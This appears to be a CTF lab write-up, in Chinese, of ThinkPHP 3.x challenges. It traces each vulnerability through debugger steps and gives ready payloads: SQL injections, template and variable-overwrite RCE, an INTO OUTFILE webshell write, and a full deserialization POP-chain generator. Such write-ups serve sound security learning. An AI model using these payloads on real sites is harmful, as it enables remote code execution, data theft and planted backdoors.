ThinkPHP专题

web569

打开页面提示

CTFSHOW-ThinkPHP - 图1

根据ThinkPHP的URL模式中PATHINFO模式

构造出payload

  1. /index.php/Admin/Login/ctfshowLogin

web570

下载附件为Application

此文件为ThinkPHP下的应用文件

包括以下模块

Application目录

  • Admin
  • Common
  • Home
  • Runtime
  • index.html

打开页面提示闭包路由

CTFSHOW-ThinkPHP - 图2

CTFSHOW-ThinkPHP - 图3

打开vscode 全局搜索 function(

路由是什么?

路由定义

路由规则的定义格式为: ‘路由表达式’=>’路由地址和传入参数’

或者:array(‘路由表达式’,’路由地址’,’传入参数’)

发现定义了一个闭包路由

CTFSHOW-ThinkPHP - 图4

发现call_user_func函数

访问路由

构造payload 回调后门

/index.php/ctfshow/assert/assert($_POST[1])

web571

TMPL_ENGINE_TYPE => Think

payload:?n=phpinfo();

CTFSHOW-ThinkPHP - 图5

跟进$this->show后跟进$this->view->display

CTFSHOW-ThinkPHP - 图6

然后继续跟进$this->fetch

CTFSHOW-ThinkPHP - 图7

由于TMPL_ENGINE_TYPEThink所以进入else条件

CTFSHOW-ThinkPHP - 图8

跟进Hook::listen

CTFSHOW-ThinkPHP - 图9

然后进入了exec函数 继续跟进

CTFSHOW-ThinkPHP - 图10

看到执行了run方法 跟进

CTFSHOW-ThinkPHP - 图11

调用了Storage::load来加载模板缓存文件

跟进此方法

CTFSHOW-ThinkPHP - 图12

这里直接包含了$_filename

看一下$_filename是什么

CTFSHOW-ThinkPHP - 图13

为这个文件看一下其内容

CTFSHOW-ThinkPHP - 图14

正是我们传入的phpinfo();

经过解析变成了<?php phpinfo();?>

导致RCE

TMPL_ENGINE_TYPE => php

payload:?n=<?php phpinfo();?>

CTFSHOW-ThinkPHP - 图15

跟进$this->show后跟进$this->view->displayCTFSHOW-ThinkPHP - 图16

然后继续跟进$this->fetch

CTFSHOW-ThinkPHP - 图17

TMPL_ENGINE_TYPEphp所以进入if条件CTFSHOW-ThinkPHP - 图18

执行了eval此时$_content就是我们所传入的<?php phpinfo();?>

题目环境为TMPL_ENGINE_TYPE => Think

payload:

/index.php/Home/Index/index?n=system(%27cat%20/f*%27);

CTFSHOW-ThinkPHP - 图19

web572

开局提示CTFSHOW-ThinkPHP - 图20

不超过365次 猜测log文件(根据日期)和365有关 在开启debug模式没有做目录限制可以访问到

CTFSHOW-ThinkPHP - 图21

本地测试发现的确有 并且命名规则为 年日的方式

CTFSHOW-ThinkPHP - 图22

bp设置完成,爆破

CTFSHOW-ThinkPHP - 图23

发现配置文件

CTFSHOW-ThinkPHP - 图24

按照他的方式去访问 成功RCE

CTFSHOW-ThinkPHP - 图25

直接执行/index.php?showctf=**<?php%20system(%27cat%20/f%27)?>

web573

前置知识点

tp3内置的几种方法:

A 快速实例化Action类库
B 执行行为类
C 配置参数存取方法
D 快速实例化Model类库
F 快速简单文本数据存取方法
L 语言参数存取方法
M 快速高性能实例化模型
R 快速远程调用Action类方法
S 快速缓存存取方法
U URL动态生成和重定向方法
W 快速Widget输出方法

payload:?id[where]=id=-1 union select 1,(select flag4s from flags),3,4—+

payload:?id[order]=1 and updatexml(0,concat(0x7e,database(),0x7e),0)—+

payload:?id[having]=1 and updatexml(0,concat(0x7e,database(),0x7e),0)—+

payload:?id[group]=1 and updatexml(0,concat(0x7e,database(),0x7e),0)—+

进入debug调试

CTFSHOW-ThinkPHP - 图26

跟进find函数

CTFSHOW-ThinkPHP - 图27

648行并没有进入if条件 因为我们传入的where 为 id=-1 union select 1,2,3,4—+ 不是数组

CTFSHOW-ThinkPHP - 图28

这里调用了$this->db->select函数

CTFSHOW-ThinkPHP - 图29

跟进select函数

CTFSHOW-ThinkPHP - 图30

调用了$this->buildSelectSql函数 次函数为创建sql语句函数 最容易出现问题

跟进$this->buildSelectSql函数

CTFSHOW-ThinkPHP - 图31

继续跟进$this->parseSql函数

CTFSHOW-ThinkPHP - 图32

既定sql语句(为图中$sql) 用str_replace函数来调用里边的函数方法由于我们传入的是where方法

所以进入984

CTFSHOW-ThinkPHP - 图33

最后返回结果 会拼接 $whereStr为拼接内容

CTFSHOW-ThinkPHP - 图34

最后执行

CTFSHOW-ThinkPHP - 图35

id[having] id[order] id[group] 同理

web574

payload:?id=-1) union select 1,group_concat(flag4s),3,4 from flags%23

先传入一个正常的id=1 来debug调试一下 运行逻辑

先进入了where函数 跟进

CTFSHOW-ThinkPHP - 图36

这里$where变成数组(array(_string=>id=1))赋值给$this->opyions[‘where’]

继续跟进find函数 看到执行了select函数跟进

CTFSHOW-ThinkPHP - 图37

看到执行了select函数跟进 执行了buildSelectSql函数 跟进

CTFSHOW-ThinkPHP - 图38

执行了parseSql函数跟进 上述介绍过了这里 所以直接跟进到parseWhere函数

CTFSHOW-ThinkPHP - 图39

这里有一个解析特殊表达式的函数 跟进

CTFSHOW-ThinkPHP - 图40

此时$whereStr变成了id=1 并且加了( )进行返回

CTFSHOW-ThinkPHP - 图41

最后执行到了这里

CTFSHOW-ThinkPHP - 图42

故构造出了上述payload 用)进行了闭合

web575

ThinkPHP3.2.3的反序列化链子

复现环境 PHP5.6

复现工具 vscode

先搜索function __destruct

CTFSHOW-ThinkPHP - 图43

发现Think/Library/Think/Image/DriverImagick

CTFSHOW-ThinkPHP - 图44

调用了destroy方法 并且$this->img可控 全局搜索destroy方法

发现Think/Library/Think/Session/DriverMemcache

CTFSHOW-ThinkPHP - 图45

$this->handle可控 $this->sessionName可控 $sessID不可控

全局搜索delete方法

/Think/Library/ThinkModel类中的delete方法

CTFSHOW-ThinkPHP - 图46

如果$options $this->options[‘where’]为空进入第一个if条件

控制$this->data进入第二层if条件 再调用自身类的delete方法

$pk可控($this->pk) $this->data[$pk]可控

再次调用delete方法时 会执行到这里CTFSHOW-ThinkPHP - 图47

设置$options[‘where’] 不然会直接返回false

518行中调用$this->db->delete方法

这是ThinkPHP的数据库模型类中的delete()方法,最终会去调用到数据库驱动类中的delete()中去

ThinkPHP/Library/Think/Db/DriverMysql类中的delete方法

CTFSHOW-ThinkPHP - 图48

919行直接将$options[‘table’]拼接到了DELETE FROM后面

933行执行了execute方法

CTFSHOW-ThinkPHP - 图49

调用了$this->initConnect方法(初始化数据库连接)

CTFSHOW-ThinkPHP - 图50

跟进connect方法

CTFSHOW-ThinkPHP - 图51

调用了$config=$this->config

最后通过PDO进行了数据库连接

分析完了 整理一下POP Chain

Imagick::__destruct()->Memcache::destroy()->Model::delete()->Mysql::delete()->Mysql::execute()->Mysql::initConnect->Mysql::connect()

<?php
namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;
        public function __construct(){
            $this->img=new Memcache();
        }
    }
}

namespace Think\Session\Driver{
    use Think\Model;

    class Memcache{
        protected $handle;
        public function __construct(){
            $this->handle=new Model();
        }
    }
}
namespace Think{
    use Think\Db\Driver\Mysql;
    class Model{
        protected $pk;
        protected $data=array();
        protected $options=array();
        protected $db=null;
        public function __construct(){
            $this->db=new Mysql();
            $this->pk='id';
            $this->options['where']='';
            $this->data[$this->pk]=array(
                'where'=>'1=1',
                'table'=>'mysql.user where 1=updatexml(0,concat(0x7e,database(),0x7e),0)#'
            );

        }

    }
} 
namespace Think\Db\Driver{
    use PDO;
    class Mysql {
        protected $config;
        protected $options;
        public function __construct(){
            $this->config=array(
            'debug'             =>   true,
            "charset"           =>  "utf8",
            'type'              =>  'mysql',     // 数据库类型
            'hostname'          =>  'localhost', // 服务器地址
            'database'          =>  'security',          // 数据库名
            'username'          =>  'root',      // 用户名
            'password'          =>  'root',          // 密码
            'hostport'          =>  '3306',        // 端口
        );
            $this->options= array(
            //PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启后才可读取文件
            //PDO::MYSQL_ATTR_MULTI_STATEMENTS => true,    //把堆叠开了,开启后可堆叠注入
        );
        }


    }

}
namespace{
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

web576

前言

越发渴望“自由”,以致想要轻声啜泣

复现过程

工具:vscode+debug

CTFSHOW-ThinkPHP - 图52

跟进comment方法

CTFSHOW-ThinkPHP - 图53

随后进入了find方法 最后执行到了$this->db->select方法(这个方法在分析find注入时候一样)CTFSHOW-ThinkPHP - 图54

跟进select方法 里面有$this->buidSelectSql方法 跟进

CTFSHOW-ThinkPHP - 图55

跟进这个$this->parseSql方法

CTFSHOW-ThinkPHP - 图56

会执行这个$this->parseComment方法

CTFSHOW-ThinkPHP - 图57

直接返回了/$comment/

CTFSHOW-ThinkPHP - 图58

最终执行的sql语句 传入1*/闭合即可

看到是limit后注入

SELECT  
    [ALL | DISTINCT | DISTINCTROW ]  
      [HIGH_PRIORITY]  
      [STRAIGHT_JOIN]  
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]  
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]  
    select_expr [, select_expr …]  
    [FROM table_references  
    [WHERE where_condition]  
    [GROUP BY {col_name | expr | position}  
      [ASC | DESC], … [WITH ROLLUP]]  
    [HAVING where_condition]  
    [ORDER BY {col_name | expr | position}  
      [ASC | DESC], …]  
    [LIMIT {[offset,] row_count | row_count OFFSET offset}]  
    [PROCEDURE procedure_name(argument_list)]  
    [INTO OUTFILE ‘file_name’ export_options  
      | INTO DUMPFILE ‘file_name’  
      | INTO var_name [, var_name]]  
    [FOR UPDATE | LOCK IN SHARE MODE]]

limit后面可以跟PROCEDURE INTO OUTFILE

INTO OUTFILE写马 或者用 procedure报错

/index.php?id=1*/ into outfile '/var/www/html/huahua.php' LINES TERMINATED BY 0x3c3f706870206576616c28245f504f53545b315d293b3f3e /*

/index.php/Home/Index/index?id=1*/ *procedure* analyse(extractvalue(rand(),concat(0x3a,user())),1) /*

web577

payload:?id[0]=exp&id[1]==updatexml(0,concat(0x7e,database(),0x7e),0)—+

一般用数组的地方都容易出现sql注入

CTFSHOW-ThinkPHP - 图59

跟进一下find函数执行到748

CTFSHOW-ThinkPHP - 图60

跟进一下这个748行的函数 发现了653行的if条件is_scalar函数($val为标量返回true)

什么是标量

布尔、整数、浮点数、字符串型的数据是属于标量的

而$val值是数组(因为$options[‘where’]是我们传入的数据[id=>[exp,updatexml]])

所以没有进入$this->_parseType函数 造成了不安全

CTFSHOW-ThinkPHP - 图61

那为什么没有进入$this->_parseType函数就能造成不安全呢?看一下此函数定义

CTFSHOW-ThinkPHP - 图62

有一个intval函数的操作

继续,看到了select函数 跟进

CTFSHOW-ThinkPHP - 图63

继续跟进buildSelectSql函数

CTFSHOW-ThinkPHP - 图64

看到了我们的old friend parseSql函数

CTFSHOW-ThinkPHP - 图65

继续跟进到parseWhere函数

CTFSHOW-ThinkPHP - 图66

由于我们传入的value是数组所以会进入了parseWhereItem函数

CTFSHOW-ThinkPHP - 图67

跟进此函数

CTFSHOW-ThinkPHP - 图68

进入了if条件 嵌套的if条件也满足了$exp=$val0 接着会进入到569

CTFSHOW-ThinkPHP - 图69

$key(id) $val[1] (=updatexml…) 拼接到$whereStr并返回CTFSHOW-ThinkPHP - 图70

最终形成的sql语句

CTFSHOW-ThinkPHP - 图71

web578

payload=?name=_content&from=<?php phpinfo();?>

跟进$this->assign函数 看看是干什么用的 (具体可查看官方手册)

CTFSHOW-ThinkPHP - 图72

CTFSHOW-ThinkPHP - 图73

把我们传入的$name $value 作为键值对的形式存入了$this->tVar数组

CTFSHOW-ThinkPHP - 图74

继续跟进$this->display函数

CTFSHOW-ThinkPHP - 图75

跟进$this->fetch函数

CTFSHOW-ThinkPHP - 图76

当模板引擎为php的时候 会进入extract函数 导致变量覆盖漏洞

CTFSHOW-ThinkPHP - 图77

$_content的内容就覆盖成了传入了$from

CTFSHOW-ThinkPHP - 图78